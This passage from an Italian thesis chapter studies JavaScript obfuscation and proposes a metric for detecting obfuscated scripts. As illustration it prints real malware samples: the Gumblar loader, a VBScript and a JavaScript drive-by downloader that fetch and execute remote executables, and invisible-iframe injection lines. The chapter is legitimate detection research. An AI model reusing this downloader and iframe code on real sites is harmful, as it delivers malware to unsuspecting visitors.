Infine, viene esposto il nostro approccio al problema. Viene illustrata la metodologiadi analisi tesa alla caratterizzazione dell’offuscamento degli script presenti nel nostrodataset (quasi 54 mila).

L’obiettivo di questa fase dello studio e consistito nel fornire degli strumenti perpoter rispondere agli ultimi tre macroquesiti introdotti al paragrafo 2.6.1 di pagina 12.

5.1 Definizione di offuscamento

Come gia anticipato nella sezione 2.6 a pagina 10, nonostante non esista una definizioneprecisa del concetto di offuscamento, si puo asserire che un codice offuscato e un codicesorgente1 o macchina2 che e stato intenzionalmente modificato per essere reso difficil-

1Codice sorgente: insieme di istruzioni scritte dal programmatore per realizzare un programma.2Codice macchina: insieme di istruzioni binarie direttamente eseguibili dalla macchina. Se il codice

sorgente e scritto con un linguaggio ad alto livello, per essere eseguito dev’essere tradotto in codicemacchina.

27

Page 42: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 28

mente comprensibile sia da un analista umano che da un programma la cui finalita siaquella di effettuare il reverse engineering3, ossia di impedire di risalire all’algoritmo allabase del codice.

Gli scopi che spingono un programmatore ad offuscare il proprio codice sono para-dossalmente opposti. Da un lato, il ricorso alla code obfuscation e volto alla protezionedel sorgente, quindi prevenire il reverse engineering, in modo tale da impedirne il plagioe la contraffazione. D’altro canto, invece, l’offuscamento puo essere impiegato per celarecodice maligno con finalita biasimevoli.

5.2 Programmi atti all’offuscamento

I programmi che trasformano il codice “human-readable” in codice offuscato si defini-scono obfuscators. Essi differiscono a seconda del linguaggio trattato e delle tecnicheutilizzate per il loro scopo.

Inoltre, questi programmi vengono classificati in base a tre parametri:

• Potenza: indica il grado di offuscamento raggiunto dal codice in seguito allatrasformazione;

• Resilienza: indica il grado di resistenza del codice offuscato contro un attacco daparte di uno strumento che opera la trasformazione inversa;

• Costo: indica l’overhead4 aggiunto all’applicazione originale.

5.3 Programmi per offuscare codice JavaScript

Compiendo una rapida ricerca in rete, si puo osservare che esiste un numero ingen-te di programmi appartenenti alla categoria JavaScript obfuscator. Essi provvedonoall’offuscamento automatico di codice JavaScript.

Solitamente questi programmi intervengono sul codice in esame compiendo tutte oquasi le seguenti operazioni:

• eliminazione dei commenti;

• eliminazione degli spazi inutili;

• rinomina delle funzioni;

• rinomina dei parametri;

3Reverse engineering : processo mediante il quale si cerca di scoprire i principi sui quali si basaun dispositivo, un software o un qualsiasi prodotto finito attraverso l’analisi della sua struttura, dellefunzionalita e delle operazioni che questo svolge.

4Overhead : con questo termine si definiscono le risorse accessorie, richieste in sovrappiu rispettoa quelle strettamente necessarie, per ottenere un determinato scopo in seguito all’introduzione di unmetodo o di un processo piu evoluto o piu generale.

Page 43: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

29 Programmi per offuscare codice JavaScript

• rinomina delle variabili;

• rinomina dei metodi;

• accorpamento del codice in un’unica riga;

• compressione del codice.

5.3.1 Primo esempio di funzionamento di un JavaScript obfuscator

Il primo esempio, volto a chiarire il funzionamento di un JavaScript obfuscator, e presodal sito di un programma che compie la menzionata trasformazione sul codice [7].

1 function foo(arg1)

2 {

3 var myVar1 = "some string"; // first comment

4 var intVar = 24*3600; // second comment

5 /* here is

6 a long

7 multi -line comment */

8 document.write("vars are:" + myVar1 + " " + intVar + " " +arg1);

9 }

Codice 5.1: Frammento di codice JavaScript da offuscare

Quando il JavaScript obfuscator in questione effettua il parsing del codice, vengonoeliminati gli spazi, i commenti e gli accapo. Inoltre, i nomi di funzioni, i parametri ele varibili vengono rimpiazzati con stringhe composte casualmente, ai valori degli inte-ri subentrano equazioni complesse, mentre le stringhe da visualizzare a schermo sonosostituite dai loro valori esadecimali.

Il risultato ottenuto e il seguente:

1 function z001c775808(z3833986e2c) {var z0d8bd8ba25="\x73\x6f\x6d\

x65\x20\x73\x74\x72\x69\x6e\x67"; var z0ed9bcbcc2 =(0 x90b +785 -0

xc04)*(0 x1136 +6437 -0 x1c4b);document.write("\x76\x61\x72\x73\x20

\x61\x72\x65\x3a"+z0d8bd8ba25+"\x20"+z0ed9bcbcc2+"\x20"+

z3833986e2c);}

Codice 5.2: Stesso frammento di codice JavaScript dopo l’offuscamento

Si elencano le sostituzioni apportate nelle tre categorie:

• nomi di funzioni, parametri e variabili definiti dall’utente:

– foo e sostituito con z001c775808;

– arg1 e sostituito con z3833986e2c;

– myvar1 e sostituito con z0d8bd8ba25;

– intvar e sostituito con z0ed9bcbcc2;

• valori di numeri interi:

Page 44: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 30

– 20 e sostituito con (0x90b+785-0xc04);

– 3600 e sostituito con (0x1136+6437-0x1c4b);

• stringhe da visualizzare a schermo:

– vars are e sostituita con \x76\x61\x72\x73\x20\x61\x72\x65\x3a;

– gli spazi sono sostituiti con \x20.

5.3.2 Secondo esempio di funzionamento di un JavaScript obfuscator

In questo paragrafo si riporta un ulteriore esempio di codifica del codice operato da unaltro JavaScript obfuscator (l’esempio e tratto dal sito del programma stesso [8]).

Il seguente codice javascript calcola lo stipendio di ogni impiegato presente nella lista“aEmployees” di oggetti “Employees”.

Questo esempio di offuscamento rientra nella prima tipologia di utilizzi citati nellasezione 5.1, infatti, gli scopi principali sono la protezione e la compressione del codice.

1 function CalculateSalary(aEmployees)

2 {

3 var nEmpIndex = 0;

4 while (nEmpIndex < aEmployees.length)

5 {

6 var oEmployee = aEmployees[nEmpIndex ];

7 oEmployee.fSalary = CalculateBaseSalary(oEmployee.nType ,

8 oEmployee.

nWorkingHours);

9 if (oEmployee.bBonusAllowed == true)

10 {

11 oEmployee.fBonus = CalculateBonusSalary(oEmployee.nType ,

12 oEmployee.

nWorkingHours ,

13 oEmployee.fSalary

);

14 }

15 else

16 {

17 oEmployee.fBonus = 0;

18 }

19 oEmployee.sSalaryColor = GetSalaryColor(oEmployee.fSalary +

20 oEmployee.fBonus);

21 nEmpIndex ++;

22 }

23 }

Codice 5.3: Frammento di codice JavaScript da offuscare

Dando in pasto questo codice al JavaScript obfuscator, cio che ne risulta e il successivoframmento:

Page 45: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

31 JavaScript come veicolo di contenuti maligni

1 function c(g){var m=0; while(m<g.length){var r=g[m];r.l=d(r.n,r.o);

if(r.j==true){r.k=e(r.n,r.o,r.l);}else{r.k=0;}r.t=f(r.l+r.k);m

++;}}

Codice 5.4: Stesso frammento di codice JavaScript dopo l’offuscamento

5.4 JavaScript come veicolo di contenuti maligni

Se, come detto precedentemente, la presenza di una porzione di codice offuscato nonimplica che quel codice sia necessariamente infetto, e comunque ragionevole ritenere chechi scriva del codice con contenuto maligno sia portato ad offuscarlo.

Per questo motivo, nel seguito, si delinea un elenco di attacchi che possono essereeffettuati anche tramite codice JavaScript.

• Denial of Service: l’attacco DoS cerca di portare il funzionamento di un serveral limite delle prestazioni, fino a renderlo non piu in grado di erogare il servizio.

Script JavaScript possono essere utilizzati dall’attaccante, per spedire una molecosı ingente di richieste al server tale da metterlo fuori uso;

• Cross-Site-Scripting: l’attacco definito anche XSS, appartiene alla tipologiainjection, si tratta, quindi, di immissione di codice arbitrario in input alle pagineweb.

Il cross-site scripting consente di accedere a informazioni sensibili, rubare dati disessione degli utenti, compromettere i browser web che essi utilizzano o, ancorpeggio, l’integrita del sistema su cui tali browser stanno eseguendo.

Gli attacchi alle vulnerabilita XSS hanno effetti dirompenti per i siti con un ele-vato numero di utenti, dato che e sufficiente una sola compromissione per colpirechiunque visiti la stessa pagina.

Il primo passo di un attaccante sta nell’upload del proprio script malevolo all’in-terno del sito web designato ad ospitarlo. Il codice malevolo puo essere inserito nelsito:

– deliberamente poiche l’attaccante ne e il proprietario;

– sfruttando una vulnerabilita del sistema operativo, o di livello Network o diuna delle zone del sito stesso.

• Phishing: questo attacco mira ad ottenere l’accesso a informazioni personali oriservate tramite messaggi di posta elettronica che imitano grafica e logo dei sitiistituzionali. L’email maligna indirizza il destinatario verso un sito web fasullo(apparentemente identico a quello fidato) che esorta la vittima a fornire informa-zioni riservate come codice fiscale, numero di conto corrente, numero di carta dicredito e codici di identificazione.

Page 46: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 32

Script Javascript possono essere utilizzati, ad esempio, per visualizzare una bar-ra degli indirizzi fasulli al posto di quella reale (cfr. [14]), altri per ottenere leinformazioni volute dall’utente;

• Pharming: tale attacco e una forma di frode on-line molto simile al phishing.I “pharmer” si affidano a siti web fasulli e al furto d’informazioni riservate perperpetrare truffe on-line. Invece di utilizzare false email, nelle quali inducono gliutenti a visitare determinati link, i “pharmer” reindirizzano le vittime direttamentesul sito web fasullo, anche quando queste digitano correttamente l’indirizzo di unabanca o di altro servizio on-line;

• Exploit: codice che, sfruttando un bug o una vulnerabilita, porta all’acquisizionedi privilegi o al denial of service di un computer;

• Drive-by downloads: con questo termine si definiscono tutti quei programmi chesi insediano, in modo automatico, sul sistema dell’utente senza che questi abbiaconcesso la sua autorizzazione.

Lo scenario tipico e quello di un attaccante che inietta contenuti sotto il propriocontrollo all’interno di siti web considerati fidati. Tipicamente all’interno di questisiti viene inserito un link che inoltra il visitatore verso un URL il quale ospita unoscript che sfrutta dei browser exploit dell’utente.

Normalmente vengono utilizzati dei componenti HTML invisibili, quali ad esempiogli iframe, in siti nei quali e possibile per il visitatore contribuire ai contenuticome nei forum e blog. Senza un appropriato controllo del codice HTML inseritodall’utente si ha il rischio di compromettere il giusto funzionamento della pagina.

A seguito dell’exploit iniziale che individua la vulnerabilita del browser o di suoiplug-in da sfruttare, l’attaccante inietta il codice (contenuto in uno script o in uniframe) che avvia la redirezione verso il server maligno dal quale parte automati-camente il download e l’esecuzione di malware sul computer della vittima.

5.5 Script JavaScript offuscati e maligni

Quando un aggressore riesce ad infettare un sito web (sfruttando, ad esempio, vulne-rabilita del sistema operativo installato sul server o dei software server in uso, oppureservendosi di lacune nella configurazione di permessi utente o di sql injection), spessoinserisce nelle pagine una porzione di codice aggiuntivo offuscato, che diffonde l’infezionesui sistemi client mano a mano che gli utenti visitano quel sito. Ricorrendo all’uso discript JavaScript e possibile celare un intero documento all’interno dello script.

A settembre 2009 il Chief Technology Officer di Websense, Dan Hubbard, dichiarava:“Gli ultimi sei mesi hanno dimostrato che gli hacker e i truffatori vanno dove e presenteun elevato numero di persone sul Web e per questo motivo hanno incrementato gliattacchi su siti Web 2.0 anche molto affidabili, con l’intento di infettare gli utenti. Da

Page 47: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

33 Script JavaScript offuscati e maligni

Twitter ai commenti blog fino ad attacchi su larga scala, i cybercriminali hanno cercatodi attaccare un numero sempre crescente di utenti Internet” [10].

A maggio 2009 una ricerca condotta dagli esperti dei laboratori di Sophos5 avevamesso in evidenza come il malware denominato Troj/JSRedir-R, o piu comunementeGumblar, detenesse il 42% di tutte le infezioni rilevate a livello globale [11]. La diffusionedel malware avveniva grazie a codice JavaScript offuscato.

Il motivo del “successo” derivava dal fatto che Gumblar si nascondesse come codiceoffuscato in una molteplicita di siti, effettivamente legittimi, contenenti script provenientida siti terzi. Nel momento in cui l’utente visitava una pagina infetta, la porzione di codiceoffuscato cercava di connettersi al sito http://www.gumblar.cn (la Cina e attualmenteuno dei paesi maggiormente responsabili del diffondersi di infezioni informatiche6) dacui scaricare codice malevolo all’interno del sistema. Gumblar provvedeva ad installarefalsi software antivirus (rogue antivirus), a sottrarre dati di login a server FTP, ad inviarespam, a disattivare i programmi utilizzati per la difesa del sistema nonche a modificare irisultati delle ricerche operate tramite il motore di ricerca Google, indirizzando gli utentiverso siti fraudolenti.

Le pagine infette contenevano il seguente script:

1 xR5p=3D’%’;eval(unescape((’var"20a"3d"22Sc"72 iptEngin"65"22"2c"62"

3d"22"5=6ers"69on()+"22"2c"6a"3d"22"22"2cu"3dnavig"61t"6fr"2e"

75s"65 rAgent"3bif ((="75"2eind"65xOf"28"22Win"22)"3e0)"26"26(u"2

e"69n"64exO"66("22NT"20"36"22"=29"3c0)"26"26( documen"74"2

ecookie"2e"69ndex"4f"66"28"22"6die"6b"3d1"22)"3=c0)"26"26"28t"

79"70e"6ff("7arvzts)"21"3dtypeof("22A"22))"29"7bzrvzts"3d"2=2A"

22"3b"65va"6c("22if(wi"6edow"2e"22+a+"22"29j"3d"6a+"22+a+"22M"

61jo"72"=22+"62"2ba+"22 Minor"22"2bb+a+"22B"75"69ld"22"2bb"2b"22

j"3b"22)"3bdocu"6de="6e"74"2ewr"69"74e("22"3csc"72ipt"20sr"63"3

d"2f"2fgumblar"2ecn"2frss"2f"3=fid"3d"22+j+"22"3e"3c"5c"2f"73

cript"3e"22"29"3b"7d’).replace(jil ,xR5p)))}=)(/"/g);

Codice 5.5: Codice dello script presente nelle pagine infette

Al momento dell’esecuzione dello script, un ulteriore script veniva automaticamentescaricato da http://www.gumblar.cn/rss/ ed eseguito. Se si scrutano attentamente leultime tre righe dello script, questo fatto risulta evidente.

Allo stato attuale, per prevenire l’esecuzione di script JavaScript maligni i webbrowser impongono due restrizioni che purtroppo non sono ancora sufficienti [3]:

• Sandboxing: meccanismo che permette allo script di eseguire solo in una sand-box, un’area protetta e sorvegliata del sistema, per evitare il rischio di danneggiaretutta la macchina; un’applicazione, come un browser web, che esegue in una sand-box, viene isolata dal resto del sistema senza avere la possibilita di alterarne leconfigurazioni;

5Sophos: azienda statunitense ma con sedi in tutto il mondo che sviluppa e vende soluzioni volte allasicurezza informatica.

6dal Google Technical Report provos-2008a si evince che il 67% dei server che diffondono malware eil 64% dei siti web che puntano ad essi sono ubicati in Cina [1].

Page 48: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 34

• Same origin: meccanismo che permette ad uno script di accedere a metodi eproprieta di altri script originati solo da pagine dello stesso sito e che imponedelle restrizioni di sicurezza per impedire allo script le stesse operazioni nel casodi pagine provenienti da siti terzi.

5.6 Eval, cardine nell’offuscamento automatico

Le tecniche atte all’offuscamento del codice solitamente fanno uso di espressioni regolarie operazioni su stringhe. Spesso, nel codice offuscato, si nota la presenza della funzioneeval(); in questi casi, l’argomento della funzione si rivela codice offuscato che vienedeoffuscato e conseguentemente eseguito proprio tramite eval().

Altre tecniche possono essere definite dal programmatore. Anche per questo motivo,l’individuazione automatica di codice offuscato e un compito piuttosto arduo.

5.6.1 Funzioni alla base dell’offuscamento

Un codice a cui siano applicate tecniche di offuscamento, oltre a risultare illeggibile,almeno nella maggior parte dei casi, non e eseguibile. Affinche possa essere eseguito, uncodice offuscato deve “essere in grado” di auto-deoffuscarsi.

Queste tre operazioni, offuscamento, deoffuscamento ed esecuzione del codice, pos-sono essere rese da tre funzioni JavaScript native, di seguito elencate:

• escape(): funzione utilizzata per codificare una stringa;

• unescape(): funzione che opera in maniera opposta rispetto alla precedente,decodificando una stringa offuscata tramite escape();

• eval(): funzione che esegue una stringa trattandola come codice JavaScript; insostanza eval() esegue la stringa di codice deoffuscato che le viene passata comeargomento.

5.6.1.1 Semplice tecnica di deoffuscamento

Una volta identificato lo script JavaScript maligno, se si evince che la tecnica impiegataper offuscare lo script e quella automatica che sfrutta la compartecipazione fra le trefunzioni citate nel paragrafo precedente, per visualizzare in maniera innocua il codicedeoffuscato che viene caricato dal browser, e sufficiente sostituire tutte le istruzionieval() e document.write() con alert().

Grazie alla sostituzione, il codice nocivo viene visualizzato in chiaro, sotto forma difinestra di dialogo, senza pero essere eseguito.

5.6.2 Alternative alla funzione eval()

Secondo lo studio [3] condotto ad aprile 2009 da Chuan Yue, Haining Wang, in moltecircostanze viene fatto abuso dell’utilizzo di eval().

Page 49: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

35 Esempi di codici offuscati

La ricerca statunitense, mette in risalto come almeno nel 70% dei casi la funzioneeval() potrebbe essere sostituita da alternative meno sospette e pericolose.

Nell’articolo stilato dai ricercatori vengono messi in luce tre frequenti casi di utilizzoscorretto della funzione sotto esame.

• in normali circostanze, in JavaScript una variabile viene definita tramite l’uso di“var”. Talvolta e necessario creare e inizializzare delle varibili a tempo di esecuzioneper poi accedervi in un momento successivo. Frequentemente, a tal scopo, vieneutilizzata la funzione eval(). JavaScript, pero, fornisce al programmatore ancheun altro strumento per la creazione dinamica di variabili: l’oggetto window.

Di seguito vengono riportati due esempi di creazione e accesso ad una variabi-le dinamica. La funzione eval(), presente nel primo esempio, viene sostituitadall’oggetto window nel secondo.

1 var id=1;

2 eval(’name ’ + id + ’ = "Sara"’);

3 document.write(’got ’ + name1);

Codice 5.6: Creazione dinamica di una variabile tramite la funzione eval()

1 var id=1;

2 window[’name ’ + id] = ’Sara ’;

3 document.write(’got ’ + name1);

Codice 5.7: Creazione dinamica di una variabile tramite l’oggetto window

• l’utilizzo di eval() per valutare “al volo” il contenuto di una risposta a unaXMLHttpRequest7 e spesso sfruttato per convertire tale contenuto in un oggettoJSON8. Poiche uno script puo inettare del codice maligno all’interno della respon-seText, per compiere la trasformazione citata e preferibile l’uso di un parser JSONa dispetto di eval();

• la funzione eval() viene sfruttata anche per generare delle semplici espressioni che,altrimenti, possono essere originate dalla banale concatenazione di stringhe. Que-sto e il caso di this.homePos=eval("0"+this.dirType+this.dim) che producesemplicemente l’espressione “0-500”.

5.7 Esempi di codici offuscati

In questa sezione vengono illustrati e analizzati alcuni esempi di script offuscati presentiin letteratura.

7XMLHttpRequest : oggetto JavaScript che permette di fare richieste HTTP in background sia di tipoGET che di tipo POST. L’utilita di questo oggetto consta nella possibilita di visualizzare il risultato diuna richiesta al server da parte del browser senza la necessita di dover aggiornare la pagina web.

8JSON, JavaScript Object Notation: formato di testo per lo scambio di dati completamenteindipendente dal linguaggio di programmazione

Page 50: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 36

5.7.1 Primo esempio

Di seguito si riporta un esempio di offuscamento di codice su diversi livelli. Lo scriptche contiene la funzionalita vera e propria, che il browser deve eseguire, e offuscato eincapsultato in un altro script il quale, a sua volta, risulta essere offuscato e inserito inun ulteriore script. L’esempio e tratto dall’articolo The ghost in the browser. Analysisof web-based malware [2].

Lo script “esterno” si presenta cosı:

1 <SCRIPT LANGUAGE="Javascript">

2 document.write(unescape("%3CHEAD %3E%0D%0A%3 CSCRIPT %20

3 LANGUAGE %3D%22 Javascript %22%3E%0D%0A%3C%21--%0D%0A

4 /*%20 criptografado %20 pelo %20Fal %20 -%20 Deboa%E7%E3o

5 ...

6 %3C/BODY%3E%0D%0A%3C/HTML%3E%0D%0A"));

7 //-->

8 </SCRIPT >

Codice 5.8: Codice dello script di terzo livello

Deoffuscando l’argomento della funzione unescape() presente nel document.write(),cio che ne risulta e un ulteriore script JavaScript contente ancora codice offuscato:

1 <SCRIPT LANGUAGE="Javascript">

2 <!--

3 /* criptografado pelo Fal - [...]

4 document.write(unescape("%0D%0A%3 Cscript %20 language %3D

5 %22 VBScript %22%3E%0D%0A%0D%0A%20%20%20%20 on%20 error %20

6 resume %20 next%0D%0A%0D%0A%20%20%20%20%0D%0A%0D%0A%20%20

7 ...

8 D%0A%0D%0A%20%20%20%20%3C/script %3E%0D%0A%3C/html%3E"));

9 //-->

10 </SCRIPT >

Codice 5.9: Codice dello script di secondo livello

Procedendo al deoffuscamento di questo secondo livello, si scopre un ulteriore script,in cui pero il linguaggio JavaScript e sostituito da VBScript.

1 <script language="VBScript">

2 on error resume next

3 dl = "http :// foto02122006.xxx.ru/foto.scr"

4 Set df = document.createElement("object")

5 df.setAttribute "classid",

6 "clsid:BD96C556 -65A3 -11D0 -983A-00 C04FC29E36"

7 str="Microsoft.XMLHTTP"

8 Set x = df.CreateObject(str ,"")

9 ...

10 S.close

11 set Q = df.createobject("Shell.Application","")

12 Q.ShellExecute fname1 ,"","","open" ,0

Page 51: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

37 Esempi di codici offuscati

13 </script >

Codice 5.10: Codice dello script di primo livello

Quest’ultima parte di codice contiene un exploit che, al momento dell’esecuzione,provoca il download automatico di malware nel computer dell’utente.

5.7.2 Secondo esempio

Viene qui riportato un esempio di come una pagina possa essere compromessa da unattaccante che, sfruttando un bug di un’applicazione web, sia in grado di introdurvi uniframe invisibile (le cui dimensioni sono nulle) che richiama uno script esterno. L’esempioe stato tratto dal post [12] sul blog di Niels Provos, appartenente al Senior Staff SoftwareEngineer della Google Inc..

La riga di codice inserita nella pagina e del tipo:

1 <iframe src="http :// www.somehost.com/ment/" width="0" height="0">

</iframe >

Codice 5.11: Iframe dalle dimensioni nulle

Al caricamento della pagina, l’iframe incriminato provoca il download, da parte delbrowser, di un contenuto addizionale situato in un web server esterno.

Analizzando l’incomprensibile contenuto di www.somehost.com/ment/, l’osservatoresi trova davanti alla seguente porzione di codice JavaScript contente solo numeri:

1 <script >

2 t="60 ,115 ,99 ,114 ,105 ,112 ,116 ,32 ,108 ,97 ,110 ,103 ,118 ,97 ,103 ,101 ,61 ,

106 ,97 ,118 ,97 ,115 ,99 ,114 ,105 ,112 ,116 ,62 ,13 ,10 ,118 ,97 ,114 ,32 ,117 ,

114 ,108 ,44 ,112 ,97 ,116 ,104 ,44 ,118 ,97 ,114 ,49 ,44 ,118 ,97 ,114 ,50 ,44 ,

118,97,

3 [many more lines of numbers]

4 t=eval("String.fromCharCode("+t+")");document.write(t);</script >

Codice 5.12: Script puntato dal precedente iframe

Il codice deoffuscato:

1 <script language=javascript > var url ,path ,var1 ,var2 ,var3 ,var4;url=

"http ://www.somehost.com/ment/bad.exe";path="C:\\ windows \\

IsUno104.exe"; var1="Microsoft.xmlhttp";var2="Adodb.Stream";

var3="Shell.Application";var var4_1="clsid:BD96C556 -65A"; var

var4_2="3-11D0 -983A-00 C04FC29E36";var4=var4_1+var4_2;try{var

ado=( document.createElement("object"));ado.setAttribute("

classid",var4); var xml=ado.CreateObject(var1 ,"");var as=ado.

createobject(var2 ,""); xml.Open("GET",url ,0); xml.Send();as.

type =1;as.open();as.write(xml.responseBody); as.savetofile(path

,2);as.close();var shell=ado.createobject(var3 ,"");shell.Shell(

path ,"","","open" ,0);} catch(e){};</script >

Codice 5.13: Codice dello script deoffuscato

Page 52: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 38

Quest’ultimo script JavaScript provoca lo scaricamento di un eseguibile che risultaessere un Trojan-Downloader. Tale applicazione a sua volta e in grado di scaricareun numero arbitrario di altri eseguibili dai dubbi propositi, quali potrebbero essere lasottrazione di password dell’utente, ad esempio per compromettere account bancari, lavisualizzazione di pop-up o l’utilizzo del computer dell’utente per spedire spam.

5.8 Iframe invisibili e maligni

Sebbene in questa sezione non venga trattato il tema “iframe con contenuto offuscato”,la sezione non deve essere ritenuta fuoriluogo poiche fra il concetto di iframe e quello dioffuscamento sussiste un legame indiretto ma lungi dal poter essere trascurato. Infatti,solitamente dietro ad un iframe “invisibile” si cela uno script offuscato. Il paragrafo 5.7.2propone un esempio illuminante in tal senso.

Esistono purtroppo, diverse tecniche per installare malware sul sistema dell’utente.Nel caso in cui un attacco del tipo browser exploit abbia successo, viene iniettato codicedannoso all’interno del sito web compromesso sfruttando una falla presente nel browserdell’utente. In molte situazioni, il nuovo contenuto e un link che “dirotta” il visitatoreverso un URL che ospita uno script maligno.

Per eludere il controllo visivo dei proprietari del sito web infettatto, spesso vengonoutilizzati degli iframe “invisibili”, cioe iframe con altezza e larghezza nulle.

5.8.1 Caratteristiche comuni ad iframe maligni

Nel seguito si riportano alcuni esempi di iframe utilizzati come mezzo di browser exploite ne si analizzano le caratteristiche.

Gli esempi sono tratti da [13].

1 <iframe src="hxxp :// google -analyz.cn/count.php?o=1" width=0

height =0 style="hidden" frameborder =0 marginheight =0

marginwidth =0 scrolling=no></iframe >

Codice 5.14: Iframe reso invisibile dalle dimensioni nulle (width=0 e height=0).

Si puo notare che nell’iframe agli attributi width e height sono assegnati valori nulli.

Come riportato dal post cui si fa riferimento [13], nel momento in cui i programmiatti a scovare malware hanno cominciato a cercare iframe caratterizzati da width=0 eheight=0, gli hackers hanno iniziato ad utilizzare iframe con un’unica dimensione nulla(essendo l’area dell’iframe data dal prodotto di altezza per lunghezza, qualora anchesolo una delle due dimensioni sia nulla, l’area risulta comunque pari a 0 e di conseguenzal’iframe rimane invisibile).

Nel seguente esempio solamente l’attributo height e pari a 0.

1 <iframe src="hxxp :// a86x.homeunix.org :8080/ ts/in.cgi?open2"

width =997 height =0 style="visibility:hidden"></iframe >

Codice 5.15: Iframe reso invisibile da un’unica dimesione nulla (height=0).

Page 53: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

39 La nostra analisi sull’offuscamento

Una volta smascherata anche questa tattica, gli attaccanti hanno provveduto adinserire iframe visibili ma “molto piccoli”.

Un iframe che occupi pochi pixel viene visualizzato sullo schermo come un punto.Se a cio si aggiunge il fatto che l’iframe venga posizionato nella parte estremamenteinferiore della pagina web infettata, la sua individuazione risulta estremamente difficile.

1 <iframe src="hxxp :// yourlitetop.cn/ts/in.cgi?mozila7" width=2

height =4 style="visibility:hidden"></iframe >

Codice 5.16: Iframe di dimensioni minime e dunque difficilmente percepibile.

L’invisibilita dell’iframe puo essere resa anche tramite l’attributo visibility:hidden.In tal modo l’iframe non viene visualizzato anche se il suo contenuto e caricato dalbrowser.

1 <iframe src="hxxp :// combinebet.cn :8080/ index.php" width =180

height =141 style="visibility:hidden"></iframe >

Codice 5.17: Iframe reso invisibile dall’attributo visibility:hidden.

Un’ulteriore strategia, per rendere invisibile un iframe, non opera direttamente sugliattributi dello stesso, bensı comporta l’inserimento dell’iframe maligno all’interno di undiv9 invisibile.

1 <div style="display:none">

2 <iframe src="hxxp ://red -wolf.ru :8080/ index.php" width =574

height =455>

3 </iframe >

4 </div>

Codice 5.18: Iframe non visibile perche interno a un “contenitore” <div> invisibile.

La Figura 5.1 a pagina 40 illustra visivamente un attacco del tipo browser exploitcon consecutivo drive-by download.

5.9 La nostra analisi sull’offuscamento

Nella parte precedente del capitolo si e cercato di fornire una panoramica sul temadell’offuscamento.

Nel seguito sara affrontato il nostro approccio all’argomento. Si scendera dunque piunel dettaglio dell’analisi condotta su script, frame e iframe.

Partendo dal presupposto che non e disponibile una definizione di offuscamento delcodice JavaScript, abbiamo cercato di individuare due criteri per la determinazione au-tomatica del fatto che uno script sia offuscato o meno. Un criterio e stato costruitoattraverso alcune elaborazioni, descritte nella sezione 5.9.1, compiute sulle proprietaestratte dagli script, l’altro e stato realizzato a partire da test, presentati nella sezione5.9.4, svolti da analisti di codice JavaScript.

9<div>: tag HTML il cui nome e l’abbreviazione di division. Viene utilizzato per dividere la pagina

in sezioni logiche.

Page 54: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

5. Offuscamento 40

Figura 5.1: Drive-by download a seguito di un attacco browser exploit

Dopo le sezioni 5.9.1 e 5.9.4 sui procedimenti adottati per definire i due criteri dioffuscamento, verranno effettivamente esaminati tali criteri.

5.9.1 Proprieta offuscate degli script

Analizzando alcuni degli script offuscati presenti in Ts, e stato delineato un primo cri-terio di offuscamento. Per ognuna delle proprieta estratte dagli script e descritte alparagrafo 4.2.1 di pagina 25, e stata fornita una corrispondente definizione di proprietaoffuscata.

Per chiarire possibili dubbi, si ricorda al lettore che da una pagina scaricata si ricavanon script. Quindi, da ogni script si estraggono le 14 proprieta elencate nella sezione 4.2.1.Ciascuna proprieta dello script consiste in un insieme di items, ad esempio, considerandola proprieta Function name, l’insieme di items ad essa associato e costituito da tutti inomi delle funzioni definite in quello script.

Nel seguito di questa sezione per ciascuna proprieta si esaminano i criteri applicatisul set di items associato, per estrarre da esso alcuni specifici items, che costituiscono laproprieta offuscata corrispondente alla proprieta considerata.

Prima di approfondire il concetto di proprieta offuscata e opportuno precisare ladefinizione di sequenza offuscata, coniata a seguito dello studio di Ts.

5.9.1.1 Definizione di sequenza offuscata

Data una sequenza di caratteri s di lunghezza m, il numero n di caratteri offuscatipresenti nella sequenza e dato da:

Page 55: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

41 La nostra analisi sull’offuscamento

n =∑i

(li + 1) + t (5.1)

dove:

• si identificano delle sottosequenze ssi di s. Tali sottoseguenze, che non si so-vrappongono, sono composte da un numero al massimo pari a 20 caratteri e sonocomprese fra due caratteri speciali (come %sottosequenza%, &sottosequenza&,/sottosequenza/, \sottosequenza\, #sottosequenza#, |sottosequenza|);

• li rappresenta il numero di caratteri che appartengono alla i -esima sottosequenza,ssi;

• t indica il numero di caratteri che non sono presenti in nessuna sottosequenza ssi,ma che appartengo al seguente insieme di caratteri:

\, /, |, !, ’, ”, £, $, %, &, +, -, @, #, *, §, ?, <, >, , , ,, ., ;, :, =, (, ), [, ], {, }, x,1, 2, 3, 4, 5, 6, 7, 8, 9, 0.

La percentuale di offuscamento p della seguenza s e quindi data da:

p =n

m∗ 100 (5.2)

5.9.2 Il concetto di proprieta offuscata

Muovendo dalla precedente definizione, per gli items di ogni proprieta elencata al para-grafo 4.2.1 di pagina 25, e stato definito un criterio per stabilire in quali casi essi risultinooffuscati.

Le 14 proprieta estratte possono essere sostanzialmente suddivise in due macrocategorie a seconda della loro tipologia:

• nome (nei casi di funzioni e di variabili);

• argomento (nei casi di document.write(), di iframe, di variabili, di eval(), diunescape(), di decode(), di exec(), di onerror(), di stringhe con piu di 140caratteri).

Per ciascuna categoria e stato stabilito un criterio generale che ne decreti l’offusca-mento. In due casi particolari di proprieta sono stati aggiunti altri parametri a quellogenerale.

